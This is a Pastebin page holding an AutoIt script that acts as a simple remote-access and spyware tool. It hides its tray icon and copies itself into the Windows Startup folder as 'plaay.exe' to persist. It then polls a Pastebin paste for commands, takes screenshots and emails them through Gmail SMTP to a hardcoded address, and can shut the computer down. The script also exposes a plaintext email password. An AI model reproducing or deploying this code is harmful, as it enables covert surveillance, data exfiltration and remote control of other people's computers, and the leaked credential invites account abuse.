Advertisement
osmmdaiji

script action

Oct 23rd, 2018
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 5.83 KB | None | 0 0
  1. TraySetState (2)
  2. #include <FileConstants.au3>
  3. #include <File.au3>
  4. #include <ScreenCapture.au3>
  5. #Include <Pastebin.au3>
  6. if FileExists (@StartupDir&"\plaay.exe") = 0 Then
  7.    _FileCreate (@UserProfileDir & "\down.txt")
  8. FileCopy (@AutoItExe,@StartupDir&"\plaay.exe")
  9. EndIf
  10. $pc="6"
  11. $SmtpServer = "smtp.gmail.com"              ; address for the smtp-server to use - REQUIRED
  12. $FromName = "Action"                      ; name from who the email was sent
  13. $FromAddress = "Mdaiji.oussama.2@gmail.com" ; address from where the mail should come
  14. $ToAddress = "Mdaiji.oussama.2@gmail.com"   ; destination address of the email - REQUIRED
  15. $AttachFiles = @UserProfileDir & "\GImage1.jpg"   ; the file(s) you want to attach seperated with a ; (Semicolon) - leave blank if not needed
  16. $Subject = "From PC " & $pc
  17. $Body = ""
  18. $CcAddress = ""       ; address for cc - leave blank if not needed
  19. $BccAddress = ""     ; address for bcc - leave blank if not needed
  20. $Importance = "Normal"                  ; Send message priority: "High", "Normal", "Low"
  21. $Username = "Mdaiji.oussama.2"                    ; username for the account used from where the mail gets sent - REQUIRED
  22. $Password = "Bushmaster"
  23. $IPPort = 465                            ; port used for sending the mail
  24. $ssl = 1
  25. Global $oMyRet[2]
  26. Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
  27. $sFilePath = @UserProfileDir & "\down.txt"
  28. While 1
  29.    $si = InetGetSize ("https://image.ibb.co/k9Wh9T/23231876_1173990852744669_1687757510_n.jpg")
  30.    if $si = "34697" Then
  31. _PB_Open()
  32.     $dRAW = _GetRawPaste("https://pastebin.com/Qp4jejeH")
  33. _PB_Close()
  34. $hFileOpen = FileOpen($sFilePath)
  35. $sFileRead = FileReadLine($hFileOpen, 1)
  36. $jarab = StringSplit ($dRAW,"*")
  37. FileClose ($hFileOpen)
  38. if $jarab[1] <> $sFileRead And $jarab[3]=$pc Then
  39.    ConsoleWrite ($jarab[1] & " - - " & $sFileRead & @CRLF)
  40.    $Body = "DONE"
  41.    _ScreenCapture_Capture(@UserProfileDir & "\GImage1.jpg")
  42.    $rc = _INetSmtpMailCom($SmtpServer, $FromName, $FromAddress, $ToAddress, $Subject, $Body, $AttachFiles, $CcAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
  43. if $jarab[2]="shutdown" Then
  44.    Shutdown (5)
  45. ElseIf $jarab[2]="screen" Then
  46.    sleep (50)
  47. EndIf
  48. $hFileOpen = FileOpen($sFilePath,2)
  49. FileWriteLine($hFileOpen,$jarab[1])
  50. FileClose ($hFileOpen)
  51. ConsoleWrite ("Done" & @CRLF)
  52. EndIf
  53. EndIf
  54. WEnd
  55.  
  56.  
  57. Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
  58.     Local $objEmail = ObjCreate("CDO.Message")
  59.     $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
  60.     $objEmail.To = $s_ToAddress
  61.     Local $i_Error = 0
  62.     Local $i_Error_desciption = ""
  63.     If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
  64.     If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
  65.     $objEmail.Subject = $s_Subject
  66.     If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
  67.         $objEmail.HTMLBody = $as_Body
  68.     Else
  69.         $objEmail.Textbody = $as_Body & @CRLF
  70.     EndIf
  71.     If $s_AttachFiles <> "" Then
  72.         Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
  73.         For $x = 1 To $S_Files2Attach[0]
  74.             $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
  75. ;~          ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
  76.             If FileExists($S_Files2Attach[$x]) Then
  77.                 ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
  78.                 $objEmail.AddAttachment($S_Files2Attach[$x])
  79.             Else
  80.                 ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
  81.                 SetError(1)
  82.                 Return 0
  83.             EndIf
  84.         Next
  85.     EndIf
  86.     $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
  87.     $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
  88.     If Number($IPPort) = 0 then $IPPort = 25
  89.     $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
  90.     ;Authenticated SMTP
  91.     If $s_Username <> "" Then
  92.         $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
  93.         $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
  94.         $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
  95.     EndIf
  96.     If $ssl Then
  97.         $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
  98.     EndIf
  99.     ;Update settings
  100.     $objEmail.Configuration.Fields.Update
  101.     ; Set Email Importance
  102.     Switch $s_Importance
  103.         Case "High"
  104.             $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
  105.         Case "Normal"
  106.             $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
  107.         Case "Low"
  108.             $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
  109.     EndSwitch
  110.     $objEmail.Fields.Update
  111.     ; Sent the Message
  112.     $objEmail.Send
  113.     If @error Then
  114.         SetError(2)
  115.         Return $oMyRet[1]
  116.     EndIf
  117.     $objEmail=""
  118. EndFunc   ;==>_INetSmtpMailCom
  119. ;
  120. ;
  121. ; Com Error Handler
  122. Func MyErrFunc()
  123.     $HexNumber = Hex($oMyError.number, 8)
  124.     $oMyRet[0] = $HexNumber
  125.     $oMyRet[1] = StringStripWS($oMyError.description, 3)
  126.     ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
  127.     SetError(1); something to check for when this function returns
  128.     Return
  129. EndFunc   ;==>MyErrFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement